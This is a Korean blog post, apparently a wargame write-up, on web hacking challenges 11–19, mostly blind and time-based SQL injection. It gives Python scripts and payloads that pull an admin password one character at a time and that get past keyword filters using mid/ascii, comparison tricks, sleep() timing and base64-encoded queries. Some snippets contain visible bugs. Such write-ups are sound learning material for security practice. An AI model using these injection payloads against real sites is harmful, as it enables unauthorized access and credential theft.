티스토리 뷰

hacking/WEB hacking

chall11-chall20

kiwiiiv 2021. 8. 6. 14:25

 

Blind sql injection (쿼리의 참/거짓 동작)

time based injection

selenium package(python)

 

 

 

 

chall11

 

 

 

admin계정의 pw 값을 알아내야 함.

앞서 chall10에서 substr함수를 이용하여  pw의 값을 알아내었던 것과 비슷한 방식으로 시도해 볼 수 있음.

<Blind injection> : 쿼리의 입력에 대한 참, 거짓 반응을 통하여 공격 수행

 

 

substr함수를 이용하기에 앞서 length 함수를 이용하여 pw 값의 길이를 구해 보면,

 

 

위와 같이 length 값을 구했으므로, 다음과 같은 python 코드를 작성할 수 있다.

for l in range(1,length):
      for c in range(33,127):
            pw="' or substr(pw,"+l+",1)='"+chr(c)
            response=requests.get(url,params={'id':'admin','pw':pw},cookies=cookies).text
            if 'Good J0b :)' in response:
                  print(i+" ")
            if 'N0p3..' in response:
                  pass
            if 'Nope !!' in response:
                  pass
            else:
                  pass

 

 

 

chall12

 

 

# 문자가 사용되어 있는 것을 확인할 수 있음. (?)

id input 부분을 이용하여 length 값을 얻어 보면

 

 

 

앞서 사용했던 방법과 같은 방식으로 코드를 작성하여 결과 값 얻을 수 있음.

 

 

 

chall13

 

 

substr 함수가 필터링되어 있는 것을 볼 수 있음

 

mid, left, right 함수로 우회하여 사용이 가능하다.

 

for len in range(1,length):
      for i in range(33,127):
            pw="' or mid(pw,{},1)={};%00".format(len,str(i))
            response=requests.get(url,params={'pw':pw},cookies=cookies).text

            if 'Good J0b :)' in response:
            	//문자열 처리..

 

 

chall14

 

 

 

필터링우회..

등호가 필터링되었기 떄문에 > 문자를 이용한 비교를 통하여 값을 얻었다.

따라서

문자열 - (substr) -> 문자 -(ascii/ord)-> 숫자 

아스키 값 범위 (33,127) 에 대하여 다음과 같은 비교를 이용할 수 있다

 

for len in range(1,9):
	for c in range(33,127):
    	param="ad'+'min' and ascii(substr(pw,{},1)) >{};%00"
        response=requests.get(url,params={'id':param},cookiese=cookies).text
        if :
        //pwstring 계산

 

 

 

기존에 사용했던 방식) <참고>

bin : 숫자를 2진법 형태의 "string"으로 변환

(66 -> "1000010")

lpad : 글자수를 맞춰주며, 모자른 부분은  특정 스트링으로 채워주는 함수 (left padding)

( lpad("66",8,0) -> "01000010" )

 

위의 함수를 이용하여

 

문자열 - (substr) -> 문자 -(ascii/ord)-> 숫자 -(bin)-> 2진법 수 -(lpad)-> 일정한 길이의 string -(substring)-> 2진법 수

 

로 변환한 후, 값의 비교를 통하여 문자열을 얻을 수 있다.

for len in range(1,length+1):
	binary=''
    for bin_len in range(1,8):
    	param="ad'+'min' and substr(lpad(bin(ascii(substr(pw,{},1))),7,0),{},1) >0;%00"
        
        //문자열 처리

 

하지만 함수 적용 방식이 복잡하며, 위의 반복문을 여러 번 시행해야 하거나 3중 반복문을 사용해야 함.

 

 

 

 

chall16

 

 

substr, mid, left가 필터링되었으므로 사용이 불가능하다.

sleep 키워드 또한 필터링되어 있지만, 

이를 이용하여 time based injection 공격이 가능하다.

(입력한 query가 실행되는 mysql_query() 부분이 필터링이 이루어지는 preg_match() 부분보다 먼저 진행되기 때문!!)

 

따라서 time injection을 사용한 스크립트를 작성하여 보면

 

 

length

for lengh in range(1,10):
	param="?pw=' || if(id='admin' and length(pw)={},sleep(10),1);%00".format(length)
    response=requests.get(url+param,cookies=cookies).text
    if time.time()-starting> 10.0:
    	//pw_length

 

pwstring 또한 같은 방식으로 구할 수 있다.

 

 

 

chall18

 

 

똑같이 admin 아이디로 로그인해야 함.

 

 

하지만 필터링 리스트들을 알 수 없기 때문에 위와 같이 직접 시도해가면서 필터링 리스트를 예측, 우회해야 함.

 

or, substr 키워드 등이 필터링되어 있어 이를 우외하여 다음과 같이 스크립트를 작성하였음.

 

 

<ascii, mid>

pw_string=""
for idx in range(1,pw_length+1):
    for k in range(33,128):
        data={'id':'admin','pw':"' || ascii(mid(pw,{},1))={}#".format(idx,k)}
        response=requests.post(url,data=data,headers=headers).text

        if 'hello admin' in response:
            pw_string+=chr(k)
            break

 

 

chall19

 

 

 

filter 문자를 복호화하면, (base64)

 

 _, procedure, select, union

 

위와 같은 키워드들이 필터링됨을 예상할 수 있다.

 

 

또한 url http://crackus.jeju.kr/chall19.php?id=Z3Vlc3Q= 에서 parameter 값 또한 base64로 넘기는 것을 파악할 수 있고, 이를 이용하여 다음과 같은 코드를 작성한다.

 

 

st_length=0

//length
for length in range(1,20):
    starting=time.time()
    s=("' || if(length(pw)={},sleep(10),1)#".format(length))
    b=s.encode('utf-8')
    e=base64.b64encode(b)
    _string=e.decode('utf-8')
    driver.get(url+"?id="+(_string))
    if time.time()-starting> 10.0:
        st_length=length
        break


//pwstring
//sleep()
pw_string=''
for idx in range(1,st_length+1):
    for k in range(33,129):
        starting=time.time()
        s=("' || if(ascii(substr(pw,{},1))={},sleep(10),1)#".format(idx,k))
        b=s.encode('utf-8')
        e=base64.b64encode(b)
        _string=e.decode('utf-8')
        driver.get(url+"?id="+_string)
        if time.time()-starting>10.0:
            pw_string+=chr(k)
            break

 

삽입하는 쿼리를 암호화하기 위하여 

    b=s.encode('utf-8')

    e=base64.b64encode(b)

    _string=e.decode('utf-8')

 

위의 코드를 작성하였다.

(base64로 암호화하기 위하여 문자열을 bytes 형태로 변환하여야 한다.

따라서 utf-8로 인코딩이 요구된다.)

 

 

 

++

requests 라이브러리가 아닌 selenium 라이브러리를 사용하여 결과 값을 구할 수도 있다.

 

 

 

'hacking > WEB hacking' 카테고리의 다른 글

wise saying  (0) 2021.08.19
tomcat manager  (0) 2021.08.18
OTP(One Time Password)  (0) 2021.08.04
chall06-10  (0) 2021.08.01
SuperSecure OTP  (0) 2021.07.27
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2025/05   »
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
글 보관함